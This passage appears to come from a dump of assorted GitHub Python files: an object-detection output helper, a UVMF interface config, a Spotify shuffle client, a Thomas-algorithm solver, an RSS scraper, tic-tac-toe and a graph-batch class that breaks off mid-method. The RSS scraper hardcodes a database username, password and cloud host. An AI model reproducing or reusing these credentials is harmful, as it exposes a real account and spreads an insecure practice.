[\r\n {\r\n 'scores': [0.97943294], \r\n 'classes': [14], \r\n 'boxes': [[65.1657, 17.7265, 418.3291, 314.5997]]\r\n }\r\n ]\r\n '''\r\n ret_list = []\r\n for temp_torch_out in torch_out:\r\n temp_dic = {\r\n 'scores' : [],\r\n 'classes' : [],\r\n 'boxes' : []\r\n }\r\n box_list = temp_torch_out['boxes'].cpu().numpy()\r\n score_list = temp_torch_out['scores'].cpu().numpy()\r\n label_list = temp_torch_out['labels'].cpu().numpy()\r\n for box, score, label in zip(box_list, score_list, label_list):\r\n if cls_filter != None and label not in cls_filter:\r\n continue\r\n if score < cs_th:\r\n continue\r\n temp_dic['scores'].append(score)\r\n temp_dic['boxes'].append(box)\r\n if cls_as_name:\r\n temp_dic['classes'].append(COCO91_LABEL_DICT[label])\r\n else:\r\n temp_dic['classes'].append(label)\r\n ret_list.append(temp_dic)\r\n return ret_list\r\n","repo_name":"erbloo/fast_transferable_blackbox_attack","sub_path":"fta/utils/torch_utils/model_utils.py","file_name":"model_utils.py","file_ext":"py","file_size_in_byte":3460,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"8849264792","text":"#! /usr/bin/env python\n\nimport uvmf_gen\n\n## The input to this call is the name of the desired interface\nintf = uvmf_gen.InterfaceClass('apb_if')\n\n## Specify parameters for this interface package.\n## These parameters can be used when defining signal and variable sizes.\n# addHdlParamDef(,,)\nintf.addParamDef('DATA_WIDTH','int','32')\nintf.addParamDef('ADDR_WIDTH','int','32')\n\n## Specify the clock and reset signal for the interface\nintf.pclk = 'pclk'\nintf.preset_n = 'preset_n'\nintf.resetAssertionLevel = True\n\n## Specify the ports associated with this interface.\n## The direction is from the perspective of the test bench as an INITIATOR on the bus.\n## addPort(,,[input|output|inout])\nintf.addPort('pselx',1,'output')\nintf.addPort('penable',1,'output')\nintf.addPort('pwrite',1,'output')\nintf.addPort('pready',1,'input')\nintf.addPort('pslverr',1,'input')\nintf.addPort('pprot',1,'output')\nintf.addPort('paddr','[ADDR_WIDTH-1:0]','output')\nintf.addPort('pwdata','[DATA_WIDTH-1:0]','output')\nintf.addPort('prdata','[DATA_WIDTH-1:0]','input')\nintf.addPort('pstrb','[(DATA_WIDTH/8)-1:0]','output')\nintf.addPort('rdata','DATA_WIDTH','input')\n\n## Specify typedef for inclusion in typedefs_hdl file\n# addHdlTypedef(,)\nintf.addHdlTypedef('my_byte_t','byte')\nintf.addHdlTypedef('my_word_t','bit [15:0] ')\n\n## Specify typedef for inclusion in typedefs file\n# addHvlTypedef(,)\nintf.addHvlTypedef('my_object_t','uvm_object')\n\n## Specify transaction variables for the interface.\n## addTransVar(,)\n## optionally can specify if this variable may be specified as 'rand'\n## optionally can specify if this variable may be specified as used in do_compare()\nintf.addTransVar('prdata','bit [DATA_WIDTH-1:0]',isrand=False,iscompare=True)\nintf.addTransVar('pwdata','bit [DATA_WIDTH-1:0]',isrand=False,iscompare=True)\nintf.addTransVar('paddr','bit [ADDR_WIDTH-1:0]',isrand=True,iscompare=True)\nintf.addTransVar('pprot','bit [2:0]',isrand=True,iscompare=False)\nintf.addTransVar('pselx','int',isrand=False,iscompare=False)\n\n## Specify transaction variable constraint\n## addTransVarConstraint(,)\n# intf.addTransVarConstraint('valid_address_range_c','{ address inside {[2048:1055], [1024:555], [511:0]}; }')\nintf.addTransVarConstraint('pselx_c1','{ $countones(pselx)]==1; }')\nintf.addTransVarConstraint('pselx_c2','{ pselx >0 && pselx <2**1; }')\nintf.addTransVarConstraint('pwdata_c3','{soft pwdata inside {[0:100]} ; }')\n\n## Specify configuration variables for the interface.\n## addConfigVar(,)\n## optionally can specify if this variable may be specified as 'rand'\nintf.addConfigVar('transfer_size','bit [31:0]',isrand=True)\n\n## Specify configuration variable constraint\n## addConfigVarConstraint(,)\nintf.addTransVarConstraint('transfer_size_c4','{ transfer_size inside {8,16,24,32}; }')\n## This will prompt the creation of all interface files in their specified\n## locations\n## intf.inFactReady = False\nintf.create()\n\n","repo_name":"muneeb-mbytes/UVMF","sub_path":"UVM_Framework/UVMF_3.6f/templates/python/examples/apb_if_config.py","file_name":"apb_if_config.py","file_ext":"py","file_size_in_byte":3089,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"53"} +{"seq_id":"26043272","text":"import getTitles\nimport sys\n\nfrom MediaClass import Media\n\ndef print_usage():\n print(\"There is only one option right now:\")\n print(\"extract file(optional)\")\n\nif __name__ == \"__main__\":\n for i in range(1,len(sys.argv)):\n arg = sys.argv[i]\n if arg.lower() == \"extract\":\n the_file = None\n if i < (len(sys.argv)-1):\n the_file = sys.argv[i+1]\n i += 2\n else:\n i += 1\n if the_file:\n raw_titles = getTitles.get_titles_from_file(the_file)\n else:\n raw_titles = getTitles.get_titles_from_file()\n parsed_titles = getTitles.parse_titles(raw_titles)\n for item in parsed_titles:\n m = Media()\n m.title = item[0]\n m.year = item[1]\n m.save()\n else:\n print_usage()","repo_name":"ajtmccarty/mediaTools","sub_path":"manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":760,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"26335117528","text":"class Bus():\n def __init__(self, speed, capacity, max_speed, empty_seats):\n self.speed = speed\n self.capacity = capacity\n self.max_speed = max_speed\n self.empty_seats = empty_seats\n\n def Posadka(self, amount):\n if self.empty_seats >= amount:\n self.empty_seats -= amount\n print('Посадили:', amount)\n else:\n print('Посадили:', self.empty_seats)\n self.empty_seats = 0\n\n def Razognatsya(self, speed):\n if speed + self.speed < self.max_speed:\n print('Разогнались до', self.speed + speed)\n self.speed += speed\n\n else:\n print('Едем в село с мах. скоростью - ', self.max_speed)\n self.speed = self.max_speed\n\nbus = Bus(40, 80, 200, 40)\nbus.Posadka(5)\nbus.Posadka(65)\nbus.Razognatsya(190)\n","repo_name":"Darya176/Lessons","sub_path":"PythonTasks/classwork29.11/class4.py","file_name":"class4.py","file_ext":"py","file_size_in_byte":907,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"72193616807","text":"import spotipy\nfrom track import Track\nfrom session import Session\nfrom typing import Dict, List\n\n\nclass SpotifyClient(spotipy.Spotify):\n def __init__(self, auth):\n super().__init__(auth=auth)\n\n def get_playlists(self):\n playlist_objects = self.current_user_playlists()[\"items\"]\n playlists = {}\n for playlist in playlist_objects:\n playlists[playlist[\"id\"]] = {\n \"uri\": playlist[\"uri\"],\n \"name\": playlist[\"name\"],\n \"tracks\": playlist[\"tracks\"][\"total\"],\n \"owner\": playlist[\"owner\"][\"display_name\"]\n }\n return playlists\n\n def get_playlist(self, playlist_id):\n return Playlist(playlist_id, self)\n\n\nclass Playlist:\n def __init__(self, playlist_id: str, sp: SpotifyClient):\n self.sp = sp\n self.playlist_id = playlist_id\n self.__load_playlist(playlist_id)\n self.played = set()\n\n def __load_playlist(self, playlist_id: str):\n playlist = self.sp.playlist(playlist_id)\n self.name = playlist[\"name\"]\n self.owner = playlist[\"owner\"]\n self.tracks = {}\n for track_obj in playlist[\"tracks\"][\"items\"]:\n track = track_obj[\"track\"]\n self.tracks[track[\"id\"]] = (Track(track))\n self.set_track_features()\n self.uri = playlist[\"uri\"]\n\n @classmethod\n def uri_to_id(cls, uri):\n return uri.split(':')[-1]\n\n def __load_tracks(self):\n track_objects = self.sp.playlist_tracks(playlist_id=self.playlist_id, fields=\"items(track(id,name))\")[\"items\"]\n for track_obj in track_objects:\n self.tracks[track_obj[\"track\"][\"id\"]] = Track(track_obj[\"track\"])\n\n def replace_tracks(self, track_ids: List[str]):\n self.sp.user_playlist_replace_tracks(self.owner, self.playlist_id, track_ids)\n\n def tracks_to_matrix(self):\n matrix = {\"labels\": [], \"data\": []}\n for _, track in self.tracks.items():\n matrix[\"labels\"].append(track)\n matrix[\"data\"].append(track.get_features())\n return matrix\n\n def set_track_features(self):\n track_ids = list(self.tracks.keys())\n features = []\n chunks = [track_ids[i * 100:(i + 1) * 100] for i in range((len(track_ids) + 100 - 1) // 100)]\n for chunk in chunks:\n features.extend(self.sp.audio_features(chunk[:100]))\n for feature in features:\n self.tracks[feature[\"id\"]].set_features(feature)\n\n\nclass Playback:\n def __init__(self, sp: SpotifyClient):\n self.sp = sp\n self.user_id = sp.me()[\"id\"]\n self.track = None\n self.progress = 0\n self.is_playing = False\n self.queue = []\n self.update_state()\n\n def update_state(self):\n state = self.sp.current_playback()\n if not state:\n return\n self.track = Track(state[\"item\"])\n self.progress = state[\"progress_ms\"]\n self.is_playing = state[\"is_playing\"]\n\n def new_queue(self, tracks: List[Track]):\n self.queue = [track.uri for track in tracks]\n self.sp.start_playback(uris=self.queue)\n\n def play(self):\n self.sp.start_playback()\n\n def pause(self):\n self.sp.pause_playback()\n\n def skip(self):\n session = Session(self.user_id)\n playlist = session.get(\"playlist\")\n clusters = session.get(\"clusters\")\n prev_skip_i = self.queue.index(self.track.uri)\n self.update_state()\n curr_i = self.queue.index(self.track.uri)\n playlist.played.update(self.queue[prev_skip_i:curr_i + 1])\n clusters.update_scores(self.track, self.track.portion_played(self.progress))\n queue = clusters.create_track_queue(playlist.played)\n session.set(\"playlist\", playlist)\n session.set(\"clusters\", clusters)\n self.new_queue(queue)\n\n\n","repo_name":"danielchen115/smart-shuffle","sub_path":"spotify.py","file_name":"spotify.py","file_ext":"py","file_size_in_byte":3840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"71731014889","text":"import math\r\n\r\nimport numpy as np\r\n\r\n\r\ndef isTridiagonal(m):\r\n for i in range(0, len(m)):\r\n for j in range(0, len(m)):\r\n if ((i == j) or (i - 1 == j) or (i + 1 == j)):\r\n if (m[i][j] == 0):\r\n return False\r\n else:\r\n if (m[i][j] != 0):\r\n return False\r\n\r\n return True\r\n\r\ndef isDD(m):\r\n\r\n for i in range(0,len(m)):\r\n n1 = 0\r\n n2 = 0\r\n for j in range(0,len(m)):\r\n if(i == j):\r\n n1 = m[i][j]\r\n else:\r\n n2 = n2 + math.fabs(m[i][j])\r\n if(n1 < n2):\r\n return False\r\n return True\r\n\r\n\r\ndef tridiagonal_vectors(A):\r\n \"\"\"\r\n Extrai os vetores a, b e c de uma matriz tridiagonal A.\r\n\r\n Parâmetros:\r\n A (numpy array): Matriz tridiagonal de dimensão (n, n).\r\n\r\n Retorno:\r\n a (numpy array): Vetor diagonal inferior de A.\r\n b (numpy array): Vetor diagonal principal de A.\r\n c (numpy array): Vetor diagonal superior de A.\r\n \"\"\"\r\n n = A.shape[0]\r\n a = np.zeros(n)\r\n b = np.zeros(n)\r\n c = np.zeros(n)\r\n\r\n for i in range(n):\r\n b[i] = A[i,i]\r\n if i > 0:\r\n a[i] = A[i,i-1]\r\n c[i-1] = A[i-1,i]\r\n\r\n return a, b, c\r\n\r\n\r\ndef thomas_algorithm(a, b, c, d):\r\n n = len(d)\r\n c_dash = np.zeros(n-1)\r\n d_dash = np.zeros(n)\r\n x = np.zeros(n)\r\n\r\n # Modifying the coefficients\r\n c_dash[0] = c[0] / b[0]\r\n d_dash[0] = d[0] / b[0]\r\n\r\n for i in range(1, n-1):\r\n c_dash[i] = c[i] / (b[i] - a[i] * c_dash[i-1])\r\n\r\n for i in range(1, n):\r\n d_dash[i] = (d[i] - a[i] * d_dash[i-1]) / (b[i] - a[i] * c_dash[i-1])\r\n\r\n # Back substitution\r\n x[n-1] = d_dash[n-1]\r\n for i in range(n-2, -1, -1):\r\n x[i] = round(d_dash[i] - c_dash[i] * x[i+1],1)\r\n\r\n return x\r\n\r\n\r\n#---------------MAIN------------------#\r\n\r\nA = np.array([[2, 1, 0, 0, 0],\r\n [1, 2, 1, 0, 0],\r\n [0, 1, 2, 1, 0],\r\n [0, 0, 1, 2, 1],\r\n [0, 0, 0, 1, 2]], dtype='double')\r\n\r\nif not isTridiagonal(A):\r\n raise ValueError(\"A matriz deve ser Tridiagonal para o algoritmo ser eficiente\")\r\n\r\nif not isDD(A):\r\n raise ValueError(\"A matriz deve ser Diagonalmente Dominante\")\r\n\r\nB = np.array([4, 4, 0, 0, 2], dtype='double')\r\n\r\na,b,c = tridiagonal_vectors(A)\r\nd = B\r\n\r\nprint(\"O vetor a é: \\n\",a)\r\nprint(\"O vetor b é: \\n\",b)\r\nprint(\"O vetor c é: \\n\",c)\r\nprint(\"O vetor d é: \\n\",d)\r\n\r\nX = thomas_algorithm(a,b,c,d)\r\n\r\nprint(\"Vetor Solução: \\n\",X)\r\n\r\n","repo_name":"eppou/Numerical-Calculus","sub_path":"Algoritm_Thomas.py","file_name":"Algoritm_Thomas.py","file_ext":"py","file_size_in_byte":2564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"872540542","text":"# Extract all feeds from RSS feed List wepage\r\nimport requests\r\nfrom bs4 import BeautifulSoup\r\nimport pandas as pd\r\nfrom datetime import datetime\r\nfrom sqlalchemy import create_engine\r\n\r\n# Getting the current date and time\r\ndt = datetime.now()\r\nprint(dt)\r\n\r\n# scraping function\r\n# def hackernews_rss():\r\n# try:\r\n# res = requests.get(\"https://www.business-standard.com/\")\r\n# print(res)\r\n# return print('The scraping job succeeded: ', res)\r\n# except Exception as e:\r\n# print('The scraping job failed. See exception: ')\r\n# print(e)\r\n#\r\n# print('--------------Starting scraping-------------------------------')\r\n# r = hackernews_rss()\r\n# # print(r)\r\n# print(\"--------------------------------------------------------------\")\r\n# # html_string = r.text\r\n# # print(html_string)\r\n# print('-------------------------------Finished scraping-------------------------------')\r\n\r\n\r\n# Extract all feeds from RSS feed List wepage\r\nfeed_links = []\r\nnews_items = []\r\nresult_df = pd.DataFrame(news_items, columns=['RSS_Feed', 'Title', 'Description', 'Body', 'RSS_Feed_URL',\r\n 'Publish_date', 'Inserted_time_stamp', 'Sentiment'])\r\nurl = 'https://timesofindia.indiatimes.com/rss.cms'\r\nr1 = requests.get(url) # Request\r\nprint(r1.status_code)\r\n\r\ncoverpage = r1.content # We'll save in coverpage the cover page content\r\n\r\n# Soup creation\r\nsoup1 = BeautifulSoup(coverpage, 'html.parser') # 'html5lib')\r\ncoverpage_news = soup1.find_all('span', class_='rssp') # News identification ## span class=\"rssp\"\r\nfor n in range(0, len(coverpage_news)):\r\n link = coverpage_news[n].find('a')['href'] # find all links\r\n feed_links.append(link)\r\n\r\nprint(feed_links)\r\nprint(len(feed_links))\r\n\r\n# code for storing the details of various feeds in pandas DF\r\nfor i in range(len(feed_links)):\r\n vgm_url = feed_links[i]\r\n html_text = requests.get(vgm_url).text\r\n soup = BeautifulSoup(html_text, features=\"xml\")\r\n items = soup.findAll('item')\r\n # print(items)\r\n # scarring HTML tags such as Title, Description, Links and Publication date\r\n for x in items:\r\n news_item = {}\r\n news_item['RSS_Feed'] = vgm_url\r\n news_item['Title'] = x.title.text\r\n news_item['Description'] = x.description.text\r\n news_item['Body'] = \"\"\"Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum\"\"\"\r\n news_item['RSS_Feed_URL'] = x.link.text\r\n news_item['Publish_date'] = x.pubDate.text\r\n news_item['Inserted_time_stamp'] = datetime.now()\r\n news_item['Sentiment'] = \"Happy\"\r\n news_items.append(news_item)\r\n\r\n # print(news_items)\r\n df = pd.DataFrame(news_items, columns=['RSS_Feed', 'Title', 'Description', 'Body', 'RSS_Feed_URL', 'Publish_date',\r\n 'Inserted_time_stamp', 'Sentiment'])\r\n\r\n # df.head()\r\n result_df = result_df.append(df)\r\n # df.to_csv('result/data1.csv', index=False, encoding='utf-8')\r\nfinal_df = result_df.drop_duplicates()\r\nprint(final_df)\r\nprint(len(final_df))\r\n\r\n# Save result to DB\r\n# create connection string = 'postgresql://:@:/'\r\nconn_string = 'postgresql://postgres_admin:postgres123@postgres-db-identifier1.cxfegqfzlnwt.ap-south-1.' \\\r\n 'rds.amazonaws.com:5432/db_news_feed'\r\n\r\nengine = create_engine(conn_string) # forms a connection to the PostgresSQL database\r\nwith engine.connect() as connection:\r\n final_df.to_sql('table3', con=connection, if_exists='replace', index=False)\r\n\r\n\r\n# for getting Paragraph\r\n# feed_link = news_items[-1]['link']\r\n# print(feed_link)\r\n# html_text1 = requests.get(feed_link).text\r\n\r\n# page = urlopen(feed_link)\r\n# html_text1 = page.read().decode(\"utf-8\")\r\n# soup1 = BeautifulSoup(html_text1, \"html.parser\")\r\n# print(soup1.find_all('p')) # get all paragraphs","repo_name":"deepalidurgade1/news_feed_proj","sub_path":"proj_code/test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":4009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"29952763915","text":"import time\ndef tic_tac_toe():\n\tboard = [[' 1 ',' 2 ',' 3 '],[' 4 ',' 5 ',' 6 '],[' 7 ',' 8 ',' 9 ']]\n\tplayer_X = [-1, -1]\n\tplayer_O = [-1, -1]\n\tmoves = 0\n\n\tprint(\"Welcome to Tic-Tac-Toe!\")\n\twhile moves <= 9:\n\t\t# Show where we are and check\n\t\t# to see if anyone's one before\n\t\t# we accept more moves\n\t\tprint_board(board)\n\t\tif check_for_winner(board):\n\t\t\tprint(\"Congratulations!\")\n\t\t\treturn True\n\n\t\t# Start player 1's turn\n\t\tprint(\"X, select your move!\")\n\t\ttrying = 1\n\t\twhile trying == 1:\n\t\t\tplayer_X = player_turn(player_X)\n\t\t\tif board[player_X[0]][player_X[1]] == ' X ' or board[player_X[0]][player_X[1]] == ' O ':\n\t\t\t\tprint(\"Please make another selection\")\n\t\t\telse:\n\t\t\t\ttrying = 0\n\n\t\tboard[player_X[0]][player_X[1]] = ' X '\n\t\tmoves += 1\n\n\t\t# If we're done or need to check for a winner,\n\t\t# do so now\n\t\tif moves >= 9:\n\t\t\tbreak\n\t\telif moves > 4:\n\t\t\tif check_for_winner(board):\n\t\t\t\tprint_board(board)\n\t\t\t\tprint(\"Congratulations!\")\n\t\t\t\treturn True\n\n\t\t# Update board view\n\t\tprint_board(board)\n\n\t\t# Start player 2's turn\n\t\tprint(\"O, select your move!\")\n\t\ttrying = 1\n\t\twhile trying == 1:\n\t\t\tplayer_O = player_turn(player_O)\n\t\t\tif board[player_O[0]][player_O[1]] == ' X ' or board[player_O[0]][player_O[1]] == ' O ':\n\t\t\t\tprint(\"Please make another selection\")\n\t\t\telse:\n\t\t\t\ttrying = 0\n\n\t\tboard[player_O[0]][player_O[1]] = ' O '\n\t\tmoves += 1\n\n\t\tprint(moves)\n\n\tif check_for_winner(board):\n\t\tprint_board(board)\n\t\tprint(\"Congratulations!\")\n\t\treturn True\n\n\n\tprint(\"It's a tie!\")\n\tprint(\"Game Over!\")\n\tprint_board(board)\n\treturn False\n\n\ndef print_board(board):\n\tprint(board[0][0] + \" | \" + board[0][1] + \" | \" + board[0][2])\n\tprint(\"--- | --- | ---\")\n\ttime.sleep(.4)\n\tprint(board[1][0] + \" | \" + board[1][1] + \" | \" + board[1][2])\n\tprint(\"--- | --- | ---\")\n\ttime.sleep(.4)\n\tprint(board[2][0] + \" | \" + board[2][1] + \" | \" + board[2][2])\n\tprint()\n\tprint()\n\ttime.sleep(1)\n\treturn True\n\ndef check_for_winner(board):\n\tfor row in board:\n\t\tif row[0] == row[1] == row[2]:\n\t\t\tprint(str(row[1]) + \" wins!\")\n\t\t\treturn True\n\n\tfor col in range(len(board)):\n\t\tif board[0][col] == board[1][col] == board[2][col]:\n\t\t\tprint(str(board[1][col]) + \" wins!\")\n\t\t\treturn True\n\n\tif board[0][0] == board[1][1] == board[2][2]:\n\t\tprint(str(board[1][1]) + \" wins!\")\n\t\treturn True\n\n\telif board[0][2] == board[1][1] == board[2][0]:\n\t\tprint(str(board[1][1]) + \" wins!\")\n\t\treturn True\n\n\treturn False\n\ndef player_turn(player):\n\tselection = int(input(\"Choose 1 - 9: \"))\n\tprint()\n\tif selection < 1 or selection > 9:\n\t\treturn [-1, -1]\n\tplayer[0] = (selection - 1) // 3\n\tplayer[1] = (selection + 2) % 3 \n\treturn player\n\ntic_tac_toe()\n","repo_name":"jlehenbauer/python-projects-public","sub_path":"tic_tac_toe.py","file_name":"tic_tac_toe.py","file_ext":"py","file_size_in_byte":2586,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"39482476319","text":"from __future__ import annotations\n\nimport dataclasses\nimport collections.abc\nfrom typing import Iterator, Sequence, Iterable, Optional, Tuple\n\nimport networkx as nx\nimport torch\nimport torch_scatter\nfrom torch.utils.data.dataloader import default_collate\n\nfrom .base import _BaseGraph\nfrom .graph import Graph\nfrom ..utils import segment_lengths_to_slices, segment_lengths_to_ids, repeat_tensor\n\n\n@dataclasses.dataclass\nclass GraphBatch(_BaseGraph):\n num_graphs: int = None\n global_features: Optional[torch.Tensor] = None\n num_nodes_by_graph: torch.LongTensor = None\n num_edges_by_graph: torch.LongTensor = None\n\n _feature_fields = _BaseGraph._feature_fields + ('global_features',)\n _index_fields = _BaseGraph._index_fields + ('num_nodes_by_graph', 'num_edges_by_graph')\n\n def __post_init__(self):\n # super().__post_init__() will also validate the instance using the _validate methods,\n # so we first fill in missing values that are will be used in self._validate()\n if self.num_graphs is None:\n if self.num_nodes_by_graph is not None:\n self.num_graphs = len(self.num_nodes_by_graph)\n elif self.num_nodes_by_graph is not None:\n self.num_graphs = len(self.num_nodes_by_graph)\n elif self.global_features is not None:\n self.num_graphs = len(self.global_features)\n else:\n raise ValueError('Could not infer number of graphs from batch fields')\n\n if self.num_nodes_by_graph is None and self.num_nodes == 0:\n self.num_nodes_by_graph = torch.zeros(self.num_graphs, dtype=torch.long)\n if self.num_edges_by_graph is None and self.num_edges == 0:\n self.num_edges_by_graph = torch.zeros(self.num_graphs, dtype=torch.long)\n super(GraphBatch, self).__post_init__()\n\n def _validate(self):\n super(GraphBatch, self)._validate()\n\n if self.global_features is not None and self.num_graphs != len(self.global_features):\n raise ValueError(f'Total number of graphs and length of global features must correspond: '\n f'`num_graphs`={self.num_graphs} '\n f'`len(self.global_features)`={len(self.global_features)}')\n if self.num_graphs != len(self.num_nodes_by_graph):\n raise ValueError(f'Total number of graphs and length of nodes by graph must correspond: '\n f'`num_graphs`={self.num_graphs} '\n f'`len(self.num_nodes_by_graph)`={len(self.num_nodes_by_graph)}')\n if self.num_graphs != len(self.num_edges_by_graph):\n raise ValueError(f'Total number of graphs and length of edges by graph must correspond: '\n f'`num_graphs`={self.num_graphs} '\n f'`len(self.num_edges_by_graph)`={len(self.num_edges_by_graph)}')\n\n if self.num_nodes != self.num_nodes_by_graph.sum():\n raise ValueError(f'Total number of nodes and number of nodes by graph must correspond: '\n f'`num_nodes`={self.num_nodes} '\n f'`sum(self.num_nodes_by_graph)`={self.num_nodes_by_graph.sum().item()}')\n if self.num_edges != self.num_edges_by_graph.sum():\n raise ValueError(f'Total number of edges and number of edges by graph must correspond: '\n f'`num_edges`={self.num_edges} '\n f'`sum(self.num_edges_by_graph)`={self.num_edges_by_graph.sum().item()}')\n\n def __len__(self):\n return self.num_graphs\n\n @property\n def node_features_by_graph(self):\n \"\"\"For every graph in the batch, the features of their nodes\n\n Examples:\n\n * Access the node features of a single graph\n\n >>> batch.node_features_by_graph[graph_index]\n\n * Iterate over the node features of every graph in the batch\n\n >>> iter(batch.node_features_by_graph)\n\n * Get a tuple of tensors containing the node features of every graph\n\n >>> batch.node_features_by_graph.astuple()\n\n * Get a tensor of aggregated node features with shape (num_graphs, *node_features_shape)\n\n >>> batch.node_features_by_graph(aggregation='sum')\n \"\"\"\n return _BatchNodeView(self)\n\n @property\n def edge_features_by_graph(self):\n \"\"\"For every graph in the batch, the features of their edges\n\n Examples:\n\n * Access the edge features of a single graph\n\n >>> batch.edge_features_by_graph[graph_index]\n\n * Iterate over the edge features of every graph in the batch\n\n >>> iter(batch.edge_features_by_graph)\n\n * Get a tuple of tensors containing the edge features of every graph\n\n >>> batch.edge_features_by_graph.astuple()\n\n * Get a tensor of aggregated edge features with shape (num_graphs, *edge_features_shape)\n\n >>> batch.edge_features_by_graph(aggregation='sum')\n \"\"\"\n return _BatchEdgeView(self)\n\n @property\n def global_features_shape(self):\n return self.global_features.shape[1:] if self.global_features is not None else None\n\n def global_features_as_edges(self) -> torch.Tensor:\n \"\"\"Broadcast `global_features` along the the first dimension to match `edge_features`,\n respecting the edge-to-graph assignment\n\n Returns:\n a tensor of shape `(num_edges, *global_features_shape)`\n \"\"\"\n return repeat_tensor(self.global_features, self.num_edges_by_graph)\n\n def global_features_as_nodes(self) -> torch.Tensor:\n \"\"\"Broadcast `global_features` along the the first dimension to match `node_features`,\n respecting the node-to-graph assignment\n\n Returns:\n a tensor of shape `(num_nodes, *global_features_shape)`\n \"\"\"\n return repeat_tensor(self.global_features, self.num_nodes_by_graph)\n\n def __getitem__(self, graph_index):\n \"\"\"Use for random access, as in `batch[i]`. For sequential access use `iter(batch)` or `for g in batch`\n \"\"\"\n node_offset = self.num_nodes_by_graph[:graph_index].sum()\n edge_offset = self.num_edges_by_graph[:graph_index].sum()\n n_nodes = self.num_nodes_by_graph[graph_index]\n n_edges = self.num_edges_by_graph[graph_index]\n return Graph(\n num_nodes=n_nodes.item(),\n num_edges=n_edges.item(),\n node_features=None if self.node_features is None else self.node_features[node_offset:node_offset + n_nodes],\n edge_features=None if self.edge_features is None else self.edge_features[edge_offset:edge_offset + n_edges],\n global_features=self.global_features[graph_index] if self.global_features is not None else None,\n senders=self.senders[edge_offset:edge_offset + n_edges] - node_offset,\n receivers=self.receivers[edge_offset:edge_offset + n_edges] - node_offset\n )\n\n def __iter__(self):\n \"\"\"Use for sequential access, as in `iter(batch)` or `for g in batch`. For random access use `batch[i].`\n \"\"\"\n node_slices = segment_lengths_to_slices(self.num_nodes_by_graph)\n edge_slices = segment_lengths_to_slices(self.num_edges_by_graph)\n for graph_index, node_slice, edge_slice in zip(range(self.num_graphs), node_slices, edge_slices):\n yield Graph(\n num_nodes=self.num_nodes_by_graph[graph_index].item(),\n num_edges=self.num_edges_by_graph[graph_index].item(),\n node_features=self.node_features[node_slice] if self.node_features is not None else None,\n edge_features=self.edge_features[edge_slice] if self.edge_features is not None else None,\n global_features=self.global_features[graph_index] if self.global_features is not None else None,\n senders=self.senders[edge_slice] - node_slice.start,\n receivers=self.receivers[edge_slice] - node_slice.start\n )\n \n def __repr__(self):\n return (f\"{self.__class__.__name__}(\"\n f\"#{self.num_graphs}, \"\n f\"n={self.num_nodes_by_graph}, \"\n f\"e={self.num_edges_by_graph}, \"\n f\"n_shape={self.node_features_shape}, \"\n f\"e_shape={self.edge_features_shape}, \"\n f\"g_shape={self.global_features_shape})\")\n\n def to_networkxs(self):\n return [g.to_networkx() for g in self]\n\n def to_graphs(self):\n return list(self)\n\n @classmethod\n def from_graphs(cls, graphs: Sequence[Graph]) -> GraphBatch:\n \"\"\"Merges multiple graphs in a batch. All node, edge and graph features must have the same shape if present.\n\n If some graph of the sequence have values for `node_features`, `edge_features`, but some of the others\n don't (maybe they were created with `num_nodes = 0` or `num_edges = 0` and None as node/edge features),\n this method will still try to correctly batch the graphs together. It is however advised to replace the None\n values on those graphs with empty tensors of shape `(0, *node_features_shape)` and `(0, *edge_features_shape)`.\n \n The field `global_features` is instead required to be either present on all graphs or absent from all graphs.\n \"\"\"\n # TODO if the graphs in `graphs` require grad the resulting batch should require grad too\n if len(graphs) == 0:\n raise ValueError('Graphs list can not be empty')\n\n node_features = []\n edge_features = []\n global_features = []\n num_nodes_by_graph = []\n num_edges_by_graph = []\n senders = []\n receivers = []\n node_offset = 0\n for i, g in enumerate(graphs):\n if g.node_features is not None:\n node_features.append(g.node_features)\n if g.edge_features is not None:\n edge_features.append(g.edge_features)\n if g.global_features is not None:\n global_features.append(g.global_features)\n num_nodes_by_graph.append(g.num_nodes)\n num_edges_by_graph.append(g.num_edges)\n senders.append(g.senders + node_offset)\n receivers.append(g.receivers + node_offset)\n node_offset += g.num_nodes\n\n from torch.utils.data.dataloader import _use_shared_memory\n\n if len(node_features) > 0:\n out = None\n if _use_shared_memory:\n numel = sum([x.numel() for x in node_features])\n storage = node_features[0].storage()._new_shared(numel)\n out = node_features[0].new(storage)\n node_features = torch.cat(node_features, out=out)\n else:\n node_features = None\n\n if len(edge_features) > 0:\n out = None\n if _use_shared_memory:\n numel = sum([x.numel() for x in edge_features])\n storage = edge_features[0].storage()._new_shared(numel)\n out = edge_features[0].new(storage)\n edge_features = torch.cat(edge_features, out=out)\n else:\n edge_features = None\n\n if len(global_features) == len(graphs):\n out = None\n if _use_shared_memory:\n numel = sum([x.numel() for x in global_features])\n storage = global_features[0].storage()._new_shared(numel)\n out = global_features[0].new(storage)\n global_features = torch.stack(global_features, out=out)\n elif len(global_features) == 0:\n global_features = None\n else:\n raise ValueError('The field `global_features` must either be None on all graphs or present on all graphs')\n\n out = None\n if _use_shared_memory:\n numel = sum([x.numel() for x in senders])\n storage = graphs[0].senders.storage()._new_shared(numel)\n out = senders[0].new(storage)\n senders = torch.cat(senders, out=out)\n\n out = None\n if _use_shared_memory:\n numel = sum([x.numel() for x in receivers])\n storage = graphs[0].receivers.storage()._new_shared(numel)\n out = receivers[0].new(storage)\n receivers = torch.cat(receivers, out=out)\n\n return cls(\n num_nodes=node_offset,\n num_edges=len(senders),\n num_nodes_by_graph=senders.new_tensor(num_nodes_by_graph),\n num_edges_by_graph=senders.new_tensor(num_edges_by_graph),\n node_features=node_features,\n edge_features=edge_features,\n global_features=global_features,\n senders=senders,\n receivers=receivers\n )\n\n @classmethod\n def from_networkxs(cls, networkxs: Iterable[nx.Graph]) -> 